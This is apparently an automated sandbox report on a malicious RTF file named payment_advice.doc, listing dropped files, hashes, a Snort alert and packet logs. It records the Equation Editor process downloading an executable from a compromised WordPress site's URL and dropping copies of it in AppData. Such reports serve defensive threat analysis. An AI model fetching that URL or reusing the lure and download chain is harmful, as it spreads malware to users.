	CN-Invoice-XXXXX9808-19011143287989.exe	Get hash	malicious	Browse	172.67.172.17
	Purchase Order list.exe	Get hash	malicious	Browse	104.21.23.61
	RkoKlvuLh6.exe	Get hash	malicious	Browse	162.159.136.232
	i0fOtOV8v0.exe	Get hash	malicious	Browse	104.23.99.190
	P3knxzE7wN.exe	Get hash	malicious	Browse	162.159.128.233
	zLyXzE7WZi.exe	Get hash	malicious	Browse	162.159.138.232
	wLy18x5e2o.exe	Get hash	malicious	Browse	162.159.136.232
	QJ2UZbJWDS.exe	Get hash	malicious	Browse	162.159.136.232
	12ojLsHzee.exe	Get hash	malicious	Browse	162.159.128.233
	seed.exe	Get hash	malicious	Browse	104.21.76.242
	SWW8Mmeq6o.exe	Get hash	malicious	Browse	162.159.135.232
	iY2FJ1t6Nk.exe	Get hash	malicious	Browse	162.159.138.232
	BIb5AQZOu9.exe	Get hash	malicious	Browse	104.23.98.190
	egwbnzACBa.exe	Get hash	malicious	Browse	162.159.137.232
	N8MwnxcRDv.exe	Get hash	malicious	Browse	162.159.137.232
	7XJCrOkoIy.exe	Get hash	malicious	Browse	162.159.135.232
	fNOZjHL61d.exe	Get hash	malicious	Browse	104.23.98.190

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe	VIws8bzjD5.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Roaming\twox67345.exe	VIws8bzjD5.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	VIws8bzjD5.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	629624
Entropy (8bit):	4.318973025796057
Encrypted:	false
SSDEEP:	6144:hB3ot6JPVsT7zFoRtMDC7lCAKSU3bd2SAHQBX/Mm+4bQLQUNStT:hlXfizFytMAlabES7MZEC/NMT
MD5:	3DC83F17122DD592D607424A54C1E9CB
SHA1:	CA3F7E0FAC52D80B1680994E8B07A4B7E589D6A4
SHA-256:	D5582D586F46F61240CED5F4A44DAC22D5E2C7C0A48F63C964093DE0CBE49BC8
SHA-512:	53676DD5D8C5957F84E512951353B7962529944EDEE3C4B8EB80D68EDDAACFE45AAD3843A1FC6406506223F1EE1317DF47A731A901BABB9CEE696CFB391DDC3C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Joe Sandbox View:	Filename: VIws8bzjD5.exe, Detection: malicious, Browse
IE Cache URL:	http://tunedinblog.com/wp-includes/twox.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....}...............0..\|............... ........@.. ...............................~....@....................................W.......................x............................................................ ............... ..H............text...4{... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Xa..\|9...........................................................".(......s.........s.........s.........s.........B.(.......(........0...........rX..p....r\..p....s........+... .......(...+o,.......88.......(-...........(........(.................(/...o%...&.....(0...........:...................o'.........o1.......8........*........$.j........0...........rh..p....r~..p....s........+...$.......(...+o,.......88.......(-...........(........(.................(/...o%..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9B08F3ED-537D-406E-B057-1B1541B1D39D}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C67C7B4A-7023-4170-93C2-146687425423}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	11560
Entropy (8bit):	3.613207132287162
Encrypted:	false
SSDEEP:	192:Oicjz5KZl05KRAPe1bnJbISzXCxERQLUEtryT/o5PWoC91en66UTDOu/FhXu+blZ:Oicj8Zl05KR7deH5Q/mcfenvU3vFhZb/
MD5:	F9F8BD9BC8E38FD4E0FB53B2DA587203
SHA1:	6935420F6974FEDD817DF65C5558C2D9311C745F
SHA-256:	1C812ED3BB1C464EB050B589BFD1636EFBEDAFA79D1C25D5DBA92377006F50D1
SHA-512:	BEAF6D6ED71DF1DEBC4920087D161D9CF3DE5FC9B47578EBC5501B9660E3F97E23130E6238EBF43DD62C0178E9EAEDC9A91471890FA560C718C9CDF4C7E7B737
Malicious:	false
Preview:	%.4.?._.7.&.?.`.?.].>.`.4.,.:.~.:...9.?.).7.~.,.)...=.?.?.'.,.;.9.?.0...=.@.?.-..?.#...!.9./.6.=...<.2.:.>.8.1.$.:._.'.?.`.~.-.?.4.!.?.].6.6.3.3.'.(.?.'.?.,.(.=.?.[.(.`.<.%.?.~....+.%.(.?.=.8.>.&.-.4.>./.=...!.6.~.?.?.?.6...%.<...'.!.$.1.%.^.!.#.,.?.(.?.1.:.^._.$.=.4...4.?.$.?.%.6.>.-.].9.;.3.).?...;.-.(./.9.\|.!._.%.>.<....-.>...!.,.$.].].2.^.3..[.(.?.$.#.).&.\|.(...?.?...'.'.?.<....`.@.=.(.?.<.<.;.).~.....(.?.4.#.?.3.6.1.?.5..._.@.,.+..,.].&.1.(...?.....,...$.=.?.,.?.%.4.?.4.4.7.`.?.0.;.%.&.?.8.2.0.&.?.=.4.8.?.#.0.5...4.1...5./.`.[.8.,.$.).1.\|.?.>./...,.!.#.#.3.'.1..?.?./.<.0.4.9.?.%.2.+.4.6...;.2.(.<.5.>.)...&.=.&.'.?.8.[.^.6.!.).+.[.2.!.%.0.9.`.?.%.?.~.2.].'.>.,.$.+.5.1.:.0.[.%.3.9.6.].&.%.?.8.0.....?.!.3.#.?./.3.^.%.%.#./.)._.^.8.+.].0.%.#.?.0.=.+...?.1.;.~.!.<.7.5.:.?./.`.?.?.?._.(.7.9.`.:.'.^.).<.].'./.2.4.:.?._.9.[..0.`.>.$.[.?._...`...2.?...#._.?.$.>.$.<.=.5.~.)...1.@.2...../.-.9.=.6.....%.6.^.\|..).,.4..8.].?.2.<._.).%.9.?.9.7.$.^.2.-.&.6.'.`.'.9.9.!.5.5.5.?.?.!.).^.).

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.446596383178742
Encrypted:	false
SSDEEP:	3:M1uauUlN1IUuUlmX1uauUlv:MsaXCUDad
MD5:	581FBF2AE768840AB0B959F0F569678B
SHA1:	0C573C2C44247C81D0C310489B7A04294A663404
SHA-256:	58F36BD775B77EC9D94614C1E4932A833C2F79FF74512166701FF301F4E1AC9E
SHA-512:	DF3C078CAA5688BDF95292781F36D00EE1ABEAE13A2D559B6AB026D16DA97846FCC1DC32BAA4082A12662BAC33CBE83332AA05C67A1440499C6443AB21890EC2
Malicious:	false
Preview:	[doc]..payment_advice.LNK=0..payment_advice.LNK=0..[doc]..payment_advice.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\payment_advice.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Aug 26 14:08:13 2020, atime=Tue Feb 23 23:53:35 2021, length=326273, window=hide
Category:	dropped
Size (bytes):	2068
Entropy (8bit):	4.58953129298372
Encrypted:	false
SSDEEP:	24:83/XTwz6Ikn1ZeAZGDv3qvdM7dD23/XTwz6Ikn1ZeAZGDv3qvdM7dV:83/XT3Ik1ZxZNvQh23/XT3Ik1ZxZNvQ/
MD5:	7217FC118D825A713A3F199A336910D2
SHA1:	ECFE1395983AA08F3213313F1D00804FF42D853C
SHA-256:	D6DF2D99D16F89EECBFD5042527D5EDDFD8F6C8E6F63DBD6CB590240F9FC70BE
SHA-512:	48AD7DD8066650C4A48987487C648827A3D9BCEE6D88D15AEC62BE8C572532273787D4B1E57786BBBA69D3C0451B691D64CC78348773CDEC0518369711D11A14
Malicious:	false
Preview:	L..................F.... ...8.E..{..8.E..{..y..zG................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....n.2.....XR.. .PAYMEN~1.DOC..R.......Q.y.Q.y...8.....................p.a.y.m.e.n.t._.a.d.v.i.c.e...d.o.c.......\|...............-...8...[............?J......C:\Users\..#...................\\642294\Users.user\Desktop\payment_advice.doc.).....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.p.a.y.m.e.n.t._.a.d.v.i.c.e...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......642294..........D_....3N...W...9F.C...........[D_

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyzALORwObGUXKbylln:vdsCkWtJLObyvb+l
MD5:	6AF5EAEBE6C935D9A5422D99EEE6BEF0
SHA1:	6FE25A65D5CC0D4F989A1D79DF5CE1D225D790EC
SHA-256:	CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719
SHA-512:	B2F51A8375748037E709D75C038B48C69E0F02D2CF772FF355D7203EE885B5DB9D1E15DA2EDB1C1E2156A092F315EB9C069B654AF39B7F4ACD3EFEFF1F8CAEB0
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........^...............^.............P.^..............^.....z.........^.....x...

C:\Users\user\AppData\Roaming\twox67345.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	629624
Entropy (8bit):	4.318973025796057
Encrypted:	false
SSDEEP:	6144:hB3ot6JPVsT7zFoRtMDC7lCAKSU3bd2SAHQBX/Mm+4bQLQUNStT:hlXfizFytMAlabES7MZEC/NMT
MD5:	3DC83F17122DD592D607424A54C1E9CB
SHA1:	CA3F7E0FAC52D80B1680994E8B07A4B7E589D6A4
SHA-256:	D5582D586F46F61240CED5F4A44DAC22D5E2C7C0A48F63C964093DE0CBE49BC8
SHA-512:	53676DD5D8C5957F84E512951353B7962529944EDEE3C4B8EB80D68EDDAACFE45AAD3843A1FC6406506223F1EE1317DF47A731A901BABB9CEE696CFB391DDC3C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Joe Sandbox View:	Filename: VIws8bzjD5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....}...............0..\|............... ........@.. ...............................~....@....................................W.......................x............................................................ ............... ..H............text...4{... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Xa..\|9...........................................................".(......s.........s.........s.........s.........B.(.......(........0...........rX..p....r\..p....s........+... .......(...+o,.......88.......(-...........(........(.................(/...o%...&.....(0...........:...................o'.........o1.......8........*........$.j........0...........rh..p....r~..p....s........+...$.......(...+o,.......88.......(-...........(........(.................(/...o%..

C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe Download File
Process:	C:\Users\user\AppData\Roaming\twox67345.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	629624
Entropy (8bit):	4.318973025796057
Encrypted:	false
SSDEEP:	6144:hB3ot6JPVsT7zFoRtMDC7lCAKSU3bd2SAHQBX/Mm+4bQLQUNStT:hlXfizFytMAlabES7MZEC/NMT
MD5:	3DC83F17122DD592D607424A54C1E9CB
SHA1:	CA3F7E0FAC52D80B1680994E8B07A4B7E589D6A4
SHA-256:	D5582D586F46F61240CED5F4A44DAC22D5E2C7C0A48F63C964093DE0CBE49BC8
SHA-512:	53676DD5D8C5957F84E512951353B7962529944EDEE3C4B8EB80D68EDDAACFE45AAD3843A1FC6406506223F1EE1317DF47A731A901BABB9CEE696CFB391DDC3C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Joe Sandbox View:	Filename: VIws8bzjD5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....}...............0..\|............... ........@.. ...............................~....@....................................W.......................x............................................................ ............... ..H............text...4{... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Xa..\|9...........................................................".(......s.........s.........s.........s.........B.(.......(........0...........rX..p....r\..p....s........+... .......(...+o,.......88.......(-...........(........(.................(/...o%...&.....(0...........:...................o'.........o1.......8........*........$.j........0...........rh..p....r~..p....s........+...$.......(...+o,.......88.......(-...........(........(.................(/...o%..

C:\Users\user\Desktop\~$yment_advice.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyzALORwObGUXKbylln:vdsCkWtJLObyvb+l
MD5:	6AF5EAEBE6C935D9A5422D99EEE6BEF0
SHA1:	6FE25A65D5CC0D4F989A1D79DF5CE1D225D790EC
SHA-256:	CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719
SHA-512:	B2F51A8375748037E709D75C038B48C69E0F02D2CF772FF355D7203EE885B5DB9D1E15DA2EDB1C1E2156A092F315EB9C069B654AF39B7F4ACD3EFEFF1F8CAEB0
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........^...............^.............P.^..............^.....z.........^.....x...

Static File Info

General
File type:	Rich Text Format data, unknown version
Entropy (8bit):	4.117334916955769
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	payment_advice.doc
File size:	326273
MD5:	0ea6e37e930278b71774ae91d68bb879
SHA1:	5e3721c21b04c30c0f2d3b7e83b7bb506fd55cb8
SHA256:	3fda6eb4d90828826854806f1956d0d4a20bf5f95eb917370ff05ba5ba1dde66
SHA512:	413836d6e2382e6177fba3114efef67c0d291ba04a18b5f0bb4284a54408319c74c72b13e3ecd7e452718091227c9314af37b20005e30d22cfa8fbc7d7a83ad6
SSDEEP:	6144:L6LYrUVjkXdCfWd5ppJI8L4s5kSFxNPnfokdH9jGIWmiKduNNZJRfFsJ:3BCfWdtJf3/dYkdH9qKd8DsJ
File Content Preview:	{\rtf991%4?_7&?`?]>`4,:~:.9?)7~,).=??',;9?0.=@?-?#.!9/6=.<2:>81$:_'?`~-?4!?]6633'(?'?,(=?[(`<%?~.+%(?=8>&-4>/=.!6~???6.%<.'!$1%^!#,?(?1:^_$=4.4?$?%6>-]9;3)?.;-(/9\|!_%><.->.!,$]]2^3[(?$#)&\|(.??.''?<.`@=(?<<;)~..(?4#?361?5._@,+,]&1(.?..,.$=?,?%4?447`?

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000142Ah								no

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/23/21-16:53:54.098868	TCP	2021697	ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious	49165	80	192.168.2.22	150.95.81.183

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 16:53:53.842025995 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.098081112 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.098285913 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.098867893 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.353571892 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356101036 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356157064 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356198072 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356232882 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356267929 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356306076 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.356307983 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356334925 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.356343031 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356368065 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.356376886 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356405020 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.356412888 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356450081 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.356451988 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.356468916 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.356519938 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.372745037 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.612919092 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.612977028 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613019943 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613019943 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613048077 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613055944 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613060951 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613092899 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613101959 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613131046 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613149881 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613187075 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613224030 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613230944 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613236904 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613267899 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613281012 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613312960 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613320112 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613354921 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613368034 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613425970 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613439083 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613461018 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613472939 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613497019 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613504887 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613539934 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613543987 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613588095 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.613594055 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.613663912 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.616348982 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.627536058 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.627619028 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868176937 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868235111 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868273020 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868309021 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868350029 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868387938 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868416071 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868452072 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868463039 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868489027 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868541002 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868546009 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868557930 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868565083 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868580103 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868602991 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868618011 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868633032 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868666887 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868666887 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868711948 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868752003 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868752003 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868777990 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868794918 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868824005 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868834019 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868849039 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868871927 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868911982 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868913889 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868932009 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.868951082 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.868977070 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869003057 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869024038 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869048119 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869066954 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869088888 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869118929 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869129896 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869153023 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869169950 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869198084 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869209051 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869214058 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869250059 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869268894 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869287014 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869290113 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869348049 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869359970 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869411945 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869441032 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869492054 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.869510889 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.869612932 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.871318102 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.871417999 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.873178005 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.882174969 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:54.882286072 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:54.884268045 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126029015 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126065969 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126096010 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126121998 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126147985 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126159906 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126169920 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126183033 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126195908 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126225948 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126229048 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126254082 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126264095 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126280069 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126281977 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126307011 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126315117 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126337051 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126343966 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126358032 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126378059 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:55.126398087 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:55.126405954 CET	80	49165	150.95.81.183	192.168.2.22
